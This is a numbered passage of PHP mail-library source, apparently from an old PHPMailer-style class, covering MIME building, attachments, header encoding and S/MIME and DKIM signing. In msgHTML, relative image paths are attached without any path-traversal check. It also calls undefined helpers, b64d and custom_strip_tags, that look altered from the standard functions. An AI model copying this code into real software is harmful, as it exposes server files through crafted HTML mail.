  1736. $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  1737. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1738. $body .= $this->LE . $this->LE;
  1739. $body .= $this->attachAll('inline', $this->boundary[3]);
  1740. $body .= $this->LE;
  1741. $body .= $this->endBoundary($this->boundary[2]);
  1742. $body .= $this->LE;
  1743. $body .= $this->attachAll('attachment', $this->boundary[1]);
  1744. break;
  1745. default:
  1746. // catch case 'plain' and case ''
  1747. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1748. break;
  1749. }
  1750. if ($this->isError()) {
  1751. $body = '';
  1752. } elseif ($this->sign_key_file) {
  1753. try {
  1754. if (!defined('PKCS7_TEXT')) {
  1755. throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  1756. }
  1757. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  1758. $file = tempnam(sys_get_temp_dir(), 'mail');
  1759. if (false === file_put_contents($file, $body)) {
  1760. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  1761. }
  1762. $signed = tempnam(sys_get_temp_dir(), 'signed');
  1763. if (@openssl_pkcs7_sign(
  1764. $file,
  1765. $signed,
  1766. 'file://' . realpath($this->sign_cert_file),
  1767. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  1768. null
  1769. )
  1770. ) {
  1771. @unlink($file);
  1772. $body = file_get_contents($signed);
  1773. @unlink($signed);
  1774. } else {
  1775. @unlink($file);
  1776. @unlink($signed);
  1777. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  1778. }
  1779. } catch (phpmailerException $exc) {
  1780. $body = '';
  1781. if ($this->exceptions) {
  1782. throw $exc;
  1783. }
  1784. }
  1785. }
  1786. return $body;
  1787. }
  1788. protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  1789. {
  1790. $result = '';
  1791. if ($charSet == '') {
  1792. $charSet = $this->CharSet;
  1793. }
  1794. if ($contentType == '') {
  1795. $contentType = $this->ContentType;
  1796. }
  1797. if ($encoding == '') {
  1798. $encoding = $this->Encoding;
  1799. }
  1800. $result .= $this->textLine('--' . $boundary);
  1801. $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  1802. $result .= $this->LE;
  1803. // RFC1341 part 5 says 7bit is assumed if not specified
  1804. if ($encoding != '7bit') {
  1805. $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  1806. }
  1807. $result .= $this->LE;
  1808. return $result;
  1809. }
  1810. protected function endBoundary($boundary)
  1811. {
  1812. return $this->LE . '--' . $boundary . '--' . $this->LE;
  1813. }
  1814. protected function setMessageType()
  1815. {
  1816. $type = array();
  1817. if ($this->alternativeExists()) {
  1818. $type[] = 'alt';
  1819. }
  1820. if ($this->inlineImageExists()) {
  1821. $type[] = 'inline';
  1822. }
  1823. if ($this->attachmentExists()) {
  1824. $type[] = 'attach';
  1825. }
  1826. $this->message_type = implode('_', $type);
  1827. if ($this->message_type == '') {
  1828. $this->message_type = 'plain';
  1829. }
  1830. }
  1831. public function headerLine($name, $value)
  1832. {
  1833. return $name . ': ' . $value . $this->LE;
  1834. }
  1835. public function textLine($value)
  1836. {
  1837. return $value . $this->LE;
  1838. }
  1839. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  1840. {
  1841. try {
  1842. if (!@is_file($path)) {
  1843. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  1844. }
  1845. // If a MIME type is not specified, try to work it out from the file name
  1846. if ($type == '') {
  1847. $type = self::filenameToType($path);
  1848. }
  1849. $filename = basename($path);
  1850. if ($name == '') {
  1851. $name = $filename;
  1852. }
  1853. $this->attachment[] = array(
  1854. 0 => $path,
  1855. 1 => $filename,
  1856. 2 => $name,
  1857. 3 => $encoding,
  1858. 4 => $type,
  1859. 5 => false, // isStringAttachment
  1860. 6 => $disposition,
  1861. 7 => 0
  1862. );
  1863. } catch (phpmailerException $exc) {
  1864. $this->setError($exc->getMessage());
  1865. $this->edebug($exc->getMessage());
  1866. if ($this->exceptions) {
  1867. throw $exc;
  1868. }
  1869. return false;
  1870. }
  1871. return true;
  1872. }
  1873. public function getAttachments()
  1874. {
  1875. return $this->attachment;
  1876. }
  1877. protected function attachAll($disposition_type, $boundary)
  1878. {
  1879. // Return text of body
  1880. $mime = array();
  1881. $cidUniq = array();
  1882. $incl = array();
  1883. // Add all attachments
  1884. foreach ($this->attachment as $attachment) {
  1885. // Check if it is a valid disposition_filter
  1886. if ($attachment[6] == $disposition_type) {
  1887. // Check for string attachment
  1888. $string = '';
  1889. $path = '';
  1890. $bString = $attachment[5];
  1891. if ($bString) {
  1892. $string = $attachment[0];
  1893. } else {
  1894. $path = $attachment[0];
  1895. }
  1896. $inclhash = md5(serialize($attachment));
  1897. if (in_array($inclhash, $incl)) {
  1898. continue;
  1899. }
  1900. $incl[] = $inclhash;
  1901. $name = $attachment[2];
  1902. $encoding = $attachment[3];
  1903. $type = $attachment[4];
  1904. $disposition = $attachment[6];
  1905. $cid = $attachment[7];
  1906. if ($disposition == 'inline' && isset($cidUniq[$cid])) {
  1907. continue;
  1908. }
  1909. $cidUniq[$cid] = true;
  1910. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  1911. $mime[] = sprintf(
  1912. 'Content-Type: %s; name="%s"%s',
  1913. $type,
  1914. $this->encodeHeader($this->secureHeader($name)),
  1915. $this->LE
  1916. );
  1917. // RFC1341 part 5 says 7bit is assumed if not specified
  1918. if ($encoding != '7bit') {
  1919. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  1920. }
  1921. if ($disposition == 'inline') {
  1922. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  1923. }
  1924. // If a filename contains any of these chars, it should be quoted,
  1925. // but not otherwise: RFC2183 & RFC2045 5.1
  1926. // Fixes a warning in IETF's msglint MIME checker
  1927. // Allow for bypassing the Content-Disposition header totally
  1928. if (!(empty($disposition))) {
  1929. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  1930. if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  1931. $mime[] = sprintf(
  1932. 'Content-Disposition: %s; filename="%s"%s',
  1933. $disposition,
  1934. $encoded_name,
  1935. $this->LE . $this->LE
  1936. );
  1937. } else {
  1938. $mime[] = sprintf(
  1939. 'Content-Disposition: %s; filename=%s%s',
  1940. $disposition,
  1941. $encoded_name,
  1942. $this->LE . $this->LE
  1943. );
  1944. }
  1945. } else {
  1946. $mime[] = $this->LE;
  1947. }
  1948. // Encode as string attachment
  1949. if ($bString) {
  1950. $mime[] = $this->encodeString($string, $encoding);
  1951. if ($this->isError()) {
  1952. return '';
  1953. }
  1954. $mime[] = $this->LE . $this->LE;
  1955. } else {
  1956. $mime[] = $this->encodeFile($path, $encoding);
  1957. if ($this->isError()) {
  1958. return '';
  1959. }
  1960. $mime[] = $this->LE . $this->LE;
  1961. }
  1962. }
  1963. }
  1964. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  1965. return implode('', $mime);
  1966. }
  1967. protected function encodeFile($path, $encoding = 'base64')
  1968. {
  1969. try {
  1970. if (!is_readable($path)) {
  1971. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  1972. }
  1973. $magic_quotes = get_magic_quotes_runtime();
  1974. if ($magic_quotes) {
  1975. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1976. set_magic_quotes_runtime(false);
  1977. } else {
  1978. ini_set('magic_quotes_runtime', 0);
  1979. }
  1980. }
  1981. $file_buffer = file_get_contents($path);
  1982. $file_buffer = $this->encodeString($file_buffer, $encoding);
  1983. if ($magic_quotes) {
  1984. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1985. set_magic_quotes_runtime($magic_quotes);
  1986. } else {
  1987. ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
  1988. }
  1989. }
  1990. return $file_buffer;
  1991. } catch (Exception $exc) {
  1992. $this->setError($exc->getMessage());
  1993. return '';
  1994. }
  1995. }
  1996. public function encodeString($str, $encoding = 'base64')
  1997. {
  1998. $encoded = '';
  1999. switch (strtolower($encoding)) {
  2000. case 'base64':
  2001. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2002. break;
  2003. case '7bit':
  2004. case '8bit':
  2005. $encoded = $this->fixEOL($str);
  2006. // Make sure it ends with a line break
  2007. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2008. $encoded .= $this->LE;
  2009. }
  2010. break;
  2011. case 'binary':
  2012. $encoded = $str;
  2013. break;
  2014. case 'quoted-printable':
  2015. $encoded = $this->encodeQP($str);
  2016. break;
  2017. default:
  2018. $this->setError($this->lang('encoding') . $encoding);
  2019. break;
  2020. }
  2021. return $encoded;
  2022. }
  2023. public function encodeHeader($str, $position = 'text')
  2024. {
  2025. $matchcount = 0;
  2026. switch (strtolower($position)) {
  2027. case 'phrase':
  2028. if (!preg_match('/[\200-\377]/', $str)) {
  2029. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2030. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2031. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2032. return ($encoded);
  2033. } else {
  2034. return ("\"$encoded\"");
  2035. }
  2036. }
  2037. $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2038. break;
  2039. /** @noinspection PhpMissingBreakStatementInspection */
  2040. case 'comment':
  2041. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2042. // Intentional fall-through
  2043. case 'text':
  2044. default:
  2045. $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2046. break;
  2047. }
  2048. if ($matchcount == 0) { // There are no chars that need encoding
  2049. return ($str);
  2050. }
  2051. $maxlen = 75 - 7 - strlen($this->CharSet);
  2052. // Try to select the encoding which should produce the shortest output
  2053. if ($matchcount > strlen($str) / 3) {
  2054. // More than a third of the content will need encoding, so B encoding will be most efficient
  2055. $encoding = 'B';
  2056. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2057. $encoded = $this->base64EncodeWrapMB($str, "\n");
  2058. } else {
  2059. $encoded = base64_encode($str);
  2060. $maxlen -= $maxlen % 4;
  2061. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2062. }
  2063. } else {
  2064. $encoding = 'Q';
  2065. $encoded = $this->encodeQ($str, $position);
  2066. $encoded = $this->wrapText($encoded, $maxlen, true);
  2067. $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2068. }
  2069. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2070. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2071. return $encoded;
  2072. }
  2073.  
  2074. public function hasMultiBytes($str)
  2075. {
  2076. if (function_exists('mb_strlen')) {
  2077. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2078. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2079. return false;
  2080. }
  2081. }
  2082.  
  2083. public function has8bitChars($text)
  2084. {
  2085. return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2086. }
  2087.  
  2088. public function base64EncodeWrapMB($str, $linebreak = null)
  2089. {
  2090. $start = '=?' . $this->CharSet . '?B?';
  2091. $end = '?=';
  2092. $encoded = '';
  2093. if ($linebreak === null) {
  2094. $linebreak = $this->LE;
  2095. }
  2096. $mb_length = mb_strlen($str, $this->CharSet);
  2097. // Each line must have length <= 75, including $start and $end
  2098. $length = 75 - strlen($start) - strlen($end);
  2099. // Average multi-byte ratio
  2100. $ratio = $mb_length / strlen($str);
  2101. // Base64 has a 4:3 ratio
  2102. $avgLength = floor($length * $ratio * .75);
  2103. for ($i = 0; $i < $mb_length; $i += $offset) {
  2104. $lookBack = 0;
  2105. do {
  2106. $offset = $avgLength - $lookBack;
  2107. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2108. $chunk = base64_encode($chunk);
  2109. $lookBack++;
  2110. } while (strlen($chunk) > $length);
  2111. $encoded .= $chunk . $linebreak;
  2112. }
  2113. // Chomp the last linefeed
  2114. $encoded = substr($encoded, 0, -strlen($linebreak));
  2115. return $encoded;
  2116. }
  2117.  
  2118. public function encodeQP($string, $line_max = 76)
  2119. {
  2120. if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
  2121. return $this->fixEOL(quoted_printable_encode($string));
  2122. }
  2123. // Fall back to a pure PHP implementation
  2124. $string = str_replace(
  2125. array('%20', '%0D%0A.', '%0D%0A', '%'),
  2126. array(' ', "\r\n=2E", "\r\n", '='),
  2127. rawurlencode($string)
  2128. );
  2129. $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2130. return $this->fixEOL($string);
  2131. }
  2132.  
  2133. public function encodeQPphp(
  2134. $string,
  2135. $line_max = 76,
  2136. /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  2137. ) {
  2138. return $this->encodeQP($string, $line_max);
  2139. }
  2140.  
  2141. public function encodeQ($str, $position = 'text')
  2142. {
  2143. // There should not be any EOL in the string
  2144. $pattern = '';
  2145. $encoded = str_replace(array("\r", "\n"), '', $str);
  2146. switch (strtolower($position)) {
  2147. case 'phrase':
  2148. // RFC 2047 section 5.3
  2149. $pattern = '^A-Za-z0-9!*+\/ -';
  2150. break;
  2151. /** @noinspection PhpMissingBreakStatementInspection */
  2152. case 'comment':
  2153. // RFC 2047 section 5.2
  2154. $pattern = '\(\)"';
  2155. case 'text':
  2156. default:
  2157. $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2158. break;
  2159. }
  2160. $matches = array();
  2161. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2162. $eqkey = array_search('=', $matches[0]);
  2163. if (false !== $eqkey) {
  2164. unset($matches[0][$eqkey]);
  2165. array_unshift($matches[0], '=');
  2166. }
  2167. foreach (array_unique($matches[0]) as $char) {
  2168. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2169. }
  2170. }
  2171. // Replace every spaces to _ (more readable than =20)
  2172. return str_replace(' ', '_', $encoded);
  2173. }
  2174.  
  2175. public function addStringAttachment(
  2176. $string,
  2177. $filename,
  2178. $encoding = 'base64',
  2179. $type = '',
  2180. $disposition = 'attachment'
  2181. ) {
  2182. // If a MIME type is not specified, try to work it out from the file name
  2183. if ($type == '') {
  2184. $type = self::filenameToType($filename);
  2185. }
  2186. // Append to $attachment array
  2187. $this->attachment[] = array(
  2188. 0 => $string,
  2189. 1 => $filename,
  2190. 2 => basename($filename),
  2191. 3 => $encoding,
  2192. 4 => $type,
  2193. 5 => true, // isStringAttachment
  2194. 6 => $disposition,
  2195. 7 => 0
  2196. );
  2197. }
  2198. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  2199. {
  2200. if (!@is_file($path)) {
  2201. $this->setError($this->lang('file_access') . $path);
  2202. return false;
  2203. }
  2204. // If a MIME type is not specified, try to work it out from the file name
  2205. if ($type == '') {
  2206. $type = self::filenameToType($path);
  2207. }
  2208. $filename = basename($path);
  2209. if ($name == '') {
  2210. $name = $filename;
  2211. }
  2212. // Append to $attachment array
  2213. $this->attachment[] = array(
  2214. 0 => $path,
  2215. 1 => $filename,
  2216. 2 => $name,
  2217. 3 => $encoding,
  2218. 4 => $type,
  2219. 5 => false, // isStringAttachment
  2220. 6 => $disposition,
  2221. 7 => $cid
  2222. );
  2223. return true;
  2224. }
  2225.  
  2226. public function addStringEmbeddedImage(
  2227. $string,
  2228. $cid,
  2229. $name = '',
  2230. $encoding = 'base64',
  2231. $type = '',
  2232. $disposition = 'inline'
  2233. ) {
  2234. // If a MIME type is not specified, try to work it out from the name
  2235. if ($type == '') {
  2236. $type = self::filenameToType($name);
  2237. }
  2238. // Append to $attachment array
  2239. $this->attachment[] = array(
  2240. 0 => $string,
  2241. 1 => $name,
  2242. 2 => $name,
  2243. 3 => $encoding,
  2244. 4 => $type,
  2245. 5 => true, // isStringAttachment
  2246. 6 => $disposition,
  2247. 7 => $cid
  2248. );
  2249. return true;
  2250. }
  2251. public function inlineImageExists()
  2252. {
  2253. foreach ($this->attachment as $attachment) {
  2254. if ($attachment[6] == 'inline') {
  2255. return true;
  2256. }
  2257. }
  2258. return false;
  2259. }
  2260. public function attachmentExists()
  2261. {
  2262. foreach ($this->attachment as $attachment) {
  2263. if ($attachment[6] == 'attachment') {
  2264. return true;
  2265. }
  2266. }
  2267. return false;
  2268. }
  2269. public function alternativeExists()
  2270. {
  2271. return !empty($this->AltBody);
  2272. }
  2273. public function clearAddresses()
  2274. {
  2275. foreach ($this->to as $to) {
  2276. unset($this->all_recipients[strtolower($to[0])]);
  2277. }
  2278. $this->to = array();
  2279. }
  2280. public function clearCCs()
  2281. {
  2282. foreach ($this->cc as $cc) {
  2283. unset($this->all_recipients[strtolower($cc[0])]);
  2284. }
  2285. $this->cc = array();
  2286. }
  2287. public function clearBCCs()
  2288. {
  2289. foreach ($this->bcc as $bcc) {
  2290. unset($this->all_recipients[strtolower($bcc[0])]);
  2291. }
  2292. $this->bcc = array();
  2293. }
  2294. public function clearReplyTos()
  2295. {
  2296. $this->ReplyTo = array();
  2297. }
  2298.  
  2299. public function clearAllRecipients()
  2300. {
  2301. $this->to = array();
  2302. $this->cc = array();
  2303. $this->bcc = array();
  2304. $this->all_recipients = array();
  2305. }
  2306. public function clearAttachments()
  2307. {
  2308. $this->attachment = array();
  2309. }
  2310. public function clearCustomHeaders()
  2311. {
  2312. $this->CustomHeader = array();
  2313. }
  2314. protected function setError($msg)
  2315. {
  2316. $this->error_count++;
  2317. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  2318. $lasterror = $this->smtp->getError();
  2319. if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
  2320. $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
  2321. }
  2322. }
  2323. $this->ErrorInfo = $msg;
  2324. }
  2325. public static function rfcDate()
  2326. {
  2327. // Set the time zone to whatever the default is to avoid 500 errors
  2328. // Will default to UTC if it's not set properly in php.ini
  2329. date_default_timezone_set(@date_default_timezone_get());
  2330. return date('D, j M Y H:i:s O');
  2331. }
  2332. protected function serverHostname()
  2333. {
  2334. $result = 'localhost.localdomain';
  2335. if (!empty($this->Hostname)) {
  2336. $result = $this->Hostname;
  2337. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  2338. $result = $_SERVER['SERVER_NAME'];
  2339. } elseif (function_exists('gethostname') && gethostname() !== false) {
  2340. $result = gethostname();
  2341. } elseif (php_uname('n') !== false) {
  2342. $result = php_uname('n');
  2343. }
  2344. return $result;
  2345. }
  2346. protected function lang($key)
  2347. {
  2348. if (count($this->language) < 1) {
  2349. $this->setLanguage('en'); // set the default language
  2350. }
  2351. if (isset($this->language[$key])) {
  2352. return $this->language[$key];
  2353. } else {
  2354. return 'Language string failed to load: ' . $key;
  2355. }
  2356. }
  2357. public function isError()
  2358. {
  2359. return ($this->error_count > 0);
  2360. }
  2361. public function fixEOL($str)
  2362. {
  2363. // Normalise to \n
  2364. $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  2365. // Now convert LE as needed
  2366. if ($this->LE !== "\n") {
  2367. $nstr = str_replace("\n", $this->LE, $nstr);
  2368. }
  2369. return $nstr;
  2370. }
  2371.  
  2372. public function addCustomHeader($name, $value = null)
  2373. {
  2374. if ($value === null) {
  2375. // Value passed in as name:value
  2376. $this->CustomHeader[] = explode(':', $name, 2);
  2377. } else {
  2378. $this->CustomHeader[] = array($name, $value);
  2379. }
  2380. }
  2381. public function msgHTML($message, $basedir = '', $advanced = false)
  2382. {
  2383. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  2384. if (isset($images[2])) {
  2385. foreach ($images[2] as $imgindex => $url) {
  2386. // Convert data URIs into embedded images
  2387. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  2388. $data = substr($url, strpos($url, ',')+1);
  2389. if ($match[2]) {
  2390. $data = b64d($data);
  2391. } else {
  2392. $data = rawurldecode($data);
  2393. }
  2394. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2395. if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
  2396. $message = str_replace(
  2397. $images[0][$imgindex],
  2398. $images[1][$imgindex] . '="cid:' . $cid . '"',
  2399. $message
  2400. );
  2401. }
  2402. } elseif (!preg_match('#^[A-z]+://#', $url)) {
  2403. // Do not change urls for absolute images (thanks to corvuscorax)
  2404. $filename = basename($url);
  2405. $directory = dirname($url);
  2406. if ($directory == '.') {
  2407. $directory = '';
  2408. }
  2409. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2410. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  2411. $basedir .= '/';
  2412. }
  2413. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  2414. $directory .= '/';
  2415. }
  2416. if ($this->addEmbeddedImage(
  2417. $basedir . $directory . $filename,
  2418. $cid,
  2419. $filename,
  2420. 'base64',
  2421. self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  2422. )
  2423. ) {
  2424. $message = preg_replace(
  2425. '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  2426. $images[1][$imgindex] . '="cid:' . $cid . '"',
  2427. $message
  2428. );
  2429. }
  2430. }
  2431. }
  2432. }
  2433. $this->isHTML(true);
  2434. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  2435. $this->Body = $this->normalizeBreaks($message);
  2436. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  2437. if (empty($this->AltBody)) {
  2438. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  2439. self::CRLF . self::CRLF;
  2440. }
  2441. return $this->Body;
  2442. }
  2443.  
  2444. public function html2text($html, $advanced = false)
  2445. {
  2446. if (is_callable($advanced)) {
  2447. return call_user_func($advanced, $html);
  2448. }
  2449. return html_entity_decode(
  2450. trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  2451. ENT_QUOTES,
  2452. $this->CharSet
  2453. );
  2454. }
  2455.  
  2456. public static function _mime_types($ext = '')
  2457. {
  2458. $mimes = array(
  2459. 'gif' => 'image/gif',
  2460. 'jpeg' => 'image/jpeg',
  2461. 'jpe' => 'image/jpeg',
  2462. 'jpg' => 'image/jpeg',
  2463. 'png' => 'image/png',
  2464. 'tiff' => 'image/tiff',
  2465. 'tif' => 'image/tiff',
  2466. );
  2467. return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
  2468. }
  2469.  
  2470. public static function filenameToType($filename)
  2471. {
  2472. // In case the path is a URL, strip any query string before getting extension
  2473. $qpos = strpos($filename, '?');
  2474. if (false !== $qpos) {
  2475. $filename = substr($filename, 0, $qpos);
  2476. }
  2477. $pathinfo = self::mb_pathinfo($filename);
  2478. return self::_mime_types($pathinfo['extension']);
  2479. }
  2480.  
  2481. public static function mb_pathinfo($path, $options = null)
  2482. {
  2483. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  2484. $pathinfo = array();
  2485. if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  2486. if (array_key_exists(1, $pathinfo)) {
  2487. $ret['dirname'] = $pathinfo[1];
  2488. }
  2489. if (array_key_exists(2, $pathinfo)) {
  2490. $ret['basename'] = $pathinfo[2];
  2491. }
  2492. if (array_key_exists(5, $pathinfo)) {
  2493. $ret['extension'] = $pathinfo[5];
  2494. }
  2495. if (array_key_exists(3, $pathinfo)) {
  2496. $ret['filename'] = $pathinfo[3];
  2497. }
  2498. }
  2499. switch ($options) {
  2500. case PATHINFO_DIRNAME:
  2501. case 'dirname':
  2502. return $ret['dirname'];
  2503. case PATHINFO_BASENAME:
  2504. case 'basename':
  2505. return $ret['basename'];
  2506. case PATHINFO_EXTENSION:
  2507. case 'extension':
  2508. return $ret['extension'];
  2509. case PATHINFO_FILENAME:
  2510. case 'filename':
  2511. return $ret['filename'];
  2512. default:
  2513. return $ret;
  2514. }
  2515. }
  2516. public function set($name, $value = '')
  2517. {
  2518. try {
  2519. if (isset($this->$name)) {
  2520. $this->$name = $value;
  2521. } else {
  2522. throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
  2523. }
  2524. } catch (Exception $exc) {
  2525. $this->setError($exc->getMessage());
  2526. if ($exc->getCode() == self::STOP_CRITICAL) {
  2527. return false;
  2528. }
  2529. }
  2530. return true;
  2531. }
  2532.  
  2533. public function secureHeader($str)
  2534. {
  2535. return trim(str_replace(array("\r", "\n"), '', $str));
  2536. }
  2537. public static function normalizeBreaks($text, $breaktype = "\r\n")
  2538. {
  2539. return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  2540. }
  2541.  
  2542. public function sign($cert_filename, $key_filename, $key_pass)
  2543. {
  2544. $this->sign_cert_file = $cert_filename;
  2545. $this->sign_key_file = $key_filename;
  2546. $this->sign_key_pass = $key_pass;
  2547. }
  2548. public function DKIM_QP($txt)
  2549. {
  2550. $line = '';
  2551. for ($i = 0; $i < strlen($txt); $i++) {
  2552. $ord = ord($txt[$i]);
  2553. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  2554. $line .= $txt[$i];
  2555. } else {
  2556. $line .= '=' . sprintf('%02X', $ord);
  2557. }
  2558. }
  2559. return $line;
  2560. }
  2561. public function DKIM_Sign($signHeader)
  2562. {
  2563. if (!defined('PKCS7_TEXT')) {
  2564. if ($this->exceptions) {
  2565. throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  2566. }
  2567. return '';
  2568. }
  2569. $privKeyStr = file_get_contents($this->DKIM_private);
  2570. if ($this->DKIM_passphrase != '') {
  2571. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  2572. } else {
  2573. $privKey = $privKeyStr;
  2574. }
  2575. if (openssl_sign($signHeader, $signature, $privKey)) {
  2576. return base64_encode($signature);
  2577. }
  2578. return '';
  2579. }
  2580. public function DKIM_HeaderC($signHeader)
  2581. {
  2582. $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  2583. $lines = explode("\r\n", $signHeader);
  2584. foreach ($lines as $key => $line) {
  2585. list($heading, $value) = explode(':', $line, 2);
  2586. $heading = strtolower($heading);
  2587. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  2588. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  2589. }
  2590. $signHeader = implode("\r\n", $lines);
  2591. return $signHeader;
  2592. }
  2593. public function DKIM_BodyC($body)
  2594. {
  2595. if ($body == '') {
  2596. return "\r\n";
  2597. }
  2598. // stabilize line endings
  2599. $body = str_replace("\r\n", "\n", $body);
  2600. $body = str_replace("\n", "\r\n", $body);
  2601. // END stabilize line endings
  2602. while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  2603. $body = substr($body, 0, strlen($body) - 2);
  2604. }
  2605. return $body;
  2606. }
  2607. public function DKIM_Add($headers_line, $subject, $body)
  2608. {
  2609. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  2610. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  2611. $DKIMquery = 'dns/txt'; // Query method
  2612. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  2613. $subject_header = "Subject: $subject";
  2614. $headers = explode($this->LE, $headers_line);
  2615. $from_header = '';
  2616. $to_header = '';
  2617. $current = '';
  2618. foreach ($headers as $header) {
  2619. if (strpos($header, 'From:') === 0) {
  2620. $from_header = $header;
  2621. $current = 'from_header';
  2622. } elseif (strpos($header, 'To:') === 0) {
  2623. $to_header = $header;
  2624. $current = 'to_header';
  2625. } else {
  2626. if ($current && strpos($header, ' =?') === 0) {
  2627. $current .= $header;
  2628. } else {
  2629. $current = '';
  2630. }
  2631. }
  2632. }
  2633. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  2634. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  2635. $subject = str_replace(
  2636. '|',
  2637. '=7C',
  2638. $this->DKIM_QP($subject_header)
  2639. ); // Copied header fields (dkim-quoted-printable)
  2640. $body = $this->DKIM_BodyC($body);
  2641. $DKIMlen = strlen($body); // Length of body
  2642. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  2643. $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
  2644. $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  2645. $DKIMsignatureType . '; q=' .
  2646. $DKIMquery . '; l=' .
  2647. $DKIMlen . '; s=' .
  2648. $this->DKIM_selector .
  2649. ";\r\n" .
  2650. "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  2651. "\th=From:To:Subject;\r\n" .
  2652. "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  2653. "\tz=$from\r\n" .
  2654. "\t|$to\r\n" .
  2655. "\t|$subject;\r\n" .
